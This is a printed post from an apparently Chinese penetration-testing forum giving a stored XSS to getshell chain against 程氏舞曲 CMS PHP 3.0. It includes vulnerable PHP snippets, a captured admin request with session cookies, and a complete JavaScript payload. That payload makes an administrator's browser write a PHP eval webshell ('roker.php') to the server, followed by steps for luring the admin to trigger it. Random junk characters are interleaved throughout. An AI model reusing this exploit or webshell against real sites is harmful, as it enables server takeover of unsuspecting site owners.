中国网络渗透测试联盟

标题: 程氏舞曲CMSPHP3.0 储存型xss getshell [打印本页]

作者: admin    时间: 2013-11-6 18:09
标题: 程氏舞曲CMSPHP3.0 储存型xss getshell
这个cms 以前 90有人发了个getshell,当时 是后台验证文件的问题
+ I( f  o2 `4 [1 @官网已经修补了,所以重新下了源码
" F& i4 i7 T- n因为 后台登入 还需要认证码 所以 注入就没看了。
7 u. S4 a# d- Z/ K存在 xss
0 h' J' s( h( f+ @漏洞文件 user/member/skin_edit.php
* s# l8 b- _; m# t本帖隐藏的内容<tr><td style="height:130px;"><span class="t"><i>*</i>签名:
7 `2 D4 X+ V, q8 V! ]4 q/ B  
" g( T6 g* K" v) T: R</span><textarea style="width:435px;height:120px;" id="content" name="CS_Qianm"><?php echo $cscms_qianm?>
- m* s3 I" @& q8 ^! {1 K7 B  
5 p) X( I& l6 n' O  G; i6 @+ K+ X: `</textarea></td></tr>
: {9 t6 m0 N# k5 w  
9 ]" h& _+ @  W8 S5 t             user/do.php
5 O. D$ |. s, ?$ X2 n6 x
) w; k4 `4 y- o4 C1 W
2 N6 l+ ]8 }2 b+ ^# Tif($op=='zl'){ //资料
( g: y/ [( E& X! H, k  - y3 M& b6 j0 A+ k- O
             if(empty($CS_QQ)||empty($CS_Nichen)||empty($CS_City)||empty($CS_Email))
$ Q! e+ W% X! H. s& Q* O             exit(Msg_Error('抱歉,请把资料填写完整!','javascript:history.go(-1);'));
' C0 b8 w+ X' x  
0 u9 I) J8 z* f0 q8 T: x             $sql="update ".Getdbname('user')." set CS_Nichen='".$CS_Nichen."',CS_Email='".$CS_Email."',
& ]* w1 Z$ C9 m. m  # Y0 P, k; ?3 t0 h( h
             CS_Sex=".$CS_Sex.",CS_City='".$CS_City."',CS_QQ='".$CS_QQ."',CS_Qianm='".$CS_Qianm."'
& m( d! R) I5 w& d             where CS_Name='".$cscms_name."'";  E+ Z' O! v$ z( u7 O9 H
  " l! W4 E% c3 s/ E
             if($db->query($sql)){
, M9 b1 X+ B& A( z  5 W, I: j* ]# Z: p! |0 Z( Q
              exit(Msg_Error('恭喜您,修改成功了!','javascript:history.go(-1);'));% h  L; [# e* C% r# w, a
  1 V  x4 F4 c: `1 Y3 Z/ a# K
             }else{/ p2 v8 }8 M+ W+ L  b5 b
  & t3 [( r+ h) b- h, L7 B4 A
              exit(Msg_Error('抱歉,修改失败了!','javascript:history.go(-1);'));
5 E5 }- u3 Y. ]# r* i" E  
$ h8 K0 B" S5 }2 t! C             }
. y/ T# ?# w2 J9 J4 u2 A
7 q# ?. M+ l; x
7 k" `8 c1 [  J. b3 q. K! r  J' `没有 过滤导致xss产生。+ {% d* }* j7 c
后台 看了下 很奇葩的是可以写任意格式文件。。
& Z! z6 u, V- ^8 v4 \抓包。。
! Q. r) v# i6 r, Z7 n6 p. B! n2 b2 u9 y2 C0 y
. K( W- G1 h& D5 p2 H. s& t# o8 V
本帖隐藏的内容POST /admin/skins/skins.php?ac=xgmb&op=go&path=../../skins/index/html/ HTTP/1.1
) Y) ~& }, `+ D# E# N  0 }. E# I$ C: |! q/ l! n3 |
Accept: text/html, application/xhtml+xml, */*
1 K" e9 g& F* |8 K$ L3 ^8 C  
, C8 I$ ?% F* _# o! gReferer: http://127.0.0.1/admin/skins/ski ... l/&name=aaa.php
6 h- b4 }3 _7 |  
5 Y5 K. v5 \% s6 }Accept-Language: zh-CN# w3 }' |8 u  ?$ s+ b
  
; y; _7 e; M; M- g: oUser-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)
  ~. _; {* N; R1 X  8 o7 T0 q  R" n1 z4 o7 V2 v1 t
Content-Type: application/x-www-form-urlencoded
2 b' q% w& K8 A9 K  
/ C- Y2 {& u& gAccept-Encoding: gzip, deflate
4 V2 ^2 o8 U8 w$ Z  
- q) z) n9 I) j: l- a3 {! IHost: 127.0.0.1
  {' ]0 a; Y0 Y5 X$ @4 a  $ f" D5 L* J" p% M& o8 G
Content-Length: 38# g6 _  R6 K! I8 U8 e3 m  n% P, _
  
5 K5 ~" O3 S8 d. M' t# Z% J9 FDNT: 1; h; \6 @& n8 F* [! `% i7 c
  
* a- a# O" q9 t  JConnection: Keep-Alive/ m. F9 [+ `8 g6 O2 ~* ~
  
+ J! o8 c; v# \: jCache-Control: no-cache
: r9 ~+ s3 q0 H  , c* y5 s6 u$ i2 d8 a
Cookie: CS_AdminID=1; CS_AdminUserName=aaaa; CS_AdminPassWord=12949e83a49a0989aa46ab7e249ca34d; CS_Quanx=0_1%2C1_1%2C1_2%2C1_3%2C1_4%2C1_5%2C2_1%2C2_2%2C2_3%2C2_4%2C2_5%2C2_6%2C2_7%2C3_1%2C3_2%2C3_3%2C3_4%2C4_1%2C4_2%2C4_3%2C4_4%2C4_5%2C4_6%2C4_7%2C5_1%2C5_2%2C5_3%2C5_4%2C5_5%2C6_1%2C6_2%2C6_3%2C7_1%2C7_2%2C8_1%2C8_2%2C8_3%2C8_4; CS_Login=980bb0dfb9c7ba8ac7676b6f4eea2c4b; CS_AdminUP=1; cs_id=2; cs_name=test; PHPSESSID=36db4a484bdbd090ad9846e3b7f65594! _# t$ c; ]# U" r) X
  
2 \- u' ^5 J' w+ P. U' c) G: I0 g0 u- z$ }% ^
name=aaa.php&content=%3Cs%3E%3Ca%25%3E  D8 b0 }# E: j. a) S

0 v7 K2 F( N8 N  |, c
; Z8 j$ v/ p, M; F( c
# D: n  k2 w% q; c3 o. G  d于是 构造js如下。1 Q2 a( o3 K7 b) a' t; e3 a: p
, _  l& b% n0 v  d+ @
本帖隐藏的内容<script> : p2 U4 m! C' K0 ~3 w
thisTHost = top.location.hostname;
, D; D3 T/ E6 _3 H/ W8 ]! a  & [, J. w" t6 Y9 E
thisTHost = "http://" + thisTHost + "/admin/skins/skins.php?ac=xgmb&op=go&path=../../skins/index/html/";, R6 D% B% l6 O6 \" ~( z- P
  
5 v3 s. r" L3 u# {! r6 {function PostSubmit(url, data, msg) { 8 t! j6 e6 n9 q: M, q6 Y. t7 N
    var postUrl = url;
* Q% B" M- f5 H- J  3 U4 p# x, u# Q# g
    var postData = data; 4 j. _* M  y$ J8 g& {$ e$ n3 O
    var msgData = msg; 9 e9 G& C' b: Z$ ~# p
    var ExportForm = document.createElement("FORM");
: N8 T# H" v9 x- T    document.body.appendChild(ExportForm); . G8 i2 u) r  C
    ExportForm.method = "POST"; 5 n& |" B" t8 a4 i4 ~8 G
    var newElement = document.createElement("input"); 2 D8 ^0 ]/ S) t" P# X% P* r: p0 K
    newElement.setAttribute("name", "name"); 3 Q2 L: G, Q5 P7 f+ A" k& P4 q
    newElement.setAttribute("type", "hidden");
! n6 F1 z8 ^8 H! K    var newElement2 = document.createElement("input");
" P) ]  {  _& P' Y3 J; O8 o% I' b    newElement2.setAttribute("name", "content");
9 K5 ]) q4 z# j% T( B    newElement2.setAttribute("type", "hidden"); + D0 |( t: i) J3 ~! O, d
    ExportForm.appendChild(newElement); 6 [- r( Q6 r" i) q: v
    ExportForm.appendChild(newElement2); 4 m3 y( k3 Z" a( ], u2 x
    newElement.value = postData; / ?( Z; F# |( b# W; t# d* P
    newElement2.value = msgData; . }5 O9 A2 |3 A0 M! ]9 u
    ExportForm.action = postUrl;
/ I- @# U) M# N& d) C4 X* A8 ~0 V    ExportForm.submit(); % ^$ P( ?; Z$ F% h# A; M. j. j, @
};( n9 T& S4 w* L+ L) i
  
1 a% s/ K) |  k0 S* d5 k, Q- JPostSubmit(thisTHost,"roker.php","<?php @eval($_POST[123]);?>");4 s" w5 |1 `* E7 Y3 F3 z" l, _
  
3 n: x8 P7 i7 Z# l$ m</script>+ a' B/ ^8 b2 U: P! S
6 X8 H9 f+ X! W8 |% e
' l: R1 u% J8 ~. U

/ B. p) Q2 c' Ihttp://127.0.0.1/user/space.php?ac=edit&op=zl 修改签名处 插入
- C* \, ^2 X1 a" P$ t, p" X6 d; Y7 N' ]用你的账号给管理写个 私信 或者让他访问  你的主页http://127.0.0.1/home/?uid=2(uid自己改)' D- u$ o$ w8 X' P: Q
就会 在 skins\index\html\目录下生成 roker.php 一句话。

3 `$ s, O* A$ ]8 i' T/ P- ~1 v- ^0 _




欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2